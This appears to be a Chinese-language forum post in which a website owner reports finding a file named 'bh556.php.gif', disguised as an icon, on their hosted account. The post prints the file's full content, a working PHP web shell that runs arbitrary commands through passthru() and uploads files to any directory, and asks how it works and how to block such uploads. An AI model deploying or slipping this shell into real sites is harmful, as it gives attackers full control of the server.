我刚从主人那里得到一个温暖的消息告诉我.. “我们检测到恶意企图通过http或ftp访问您的帐户”
检查了恶意文件后,有人上传了一个名为“bh556.php.gif”的图标
打开此文件,它包含以下代码:
<html>
<head>
<div align="left"><font size="1">Input command :</font></div>
<form name="cmd" method="POST" enctype="multipart/form-data">
<input type="text" name="cmd" size="30" class="input"><br>
<pre>
<?php
if ($_POST['cmd']){
$cmd = $_POST['cmd'];
passthru($cmd);
}
?>
</pre>
<hr>
<div align="left"><font size="1">Uploader file :</font></div>
<?php
$uploaded = $_FILES['file']['tmp_name'];
if (file_exists($uploaded)) {
$pwddir = $_POST['dir'];
$real = $_FILES['file']['name'];
$dez = $pwddir."/".$real;
copy($uploaded, $dez);
echo "FILE UPLOADED TO $dez";
}
?> </pre>
<form name="form1" method="post" enctype="multipart/form-data">
<input type="text" name="dir" size="30" value="<? passthru("pwd"); ?>">
<input type="submit" name="submit2" value="Upload">
<input type="file" name="file" size="15">
</td>
</tr>
</table>
</body>
</html>
有人可以解释如何防止再次通过图标上传,还请解释上面的代码究竟是做什么的?